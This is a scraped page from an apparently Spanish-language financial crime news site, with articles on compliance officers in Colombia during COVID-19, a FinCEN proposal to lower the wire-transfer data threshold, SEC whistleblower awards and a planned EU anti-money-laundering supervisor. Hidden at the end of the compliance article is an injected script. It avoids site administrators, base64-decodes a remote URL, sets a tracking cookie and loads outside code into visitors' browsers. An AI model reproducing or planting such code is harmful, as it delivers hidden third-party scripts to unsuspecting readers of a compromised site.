p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades 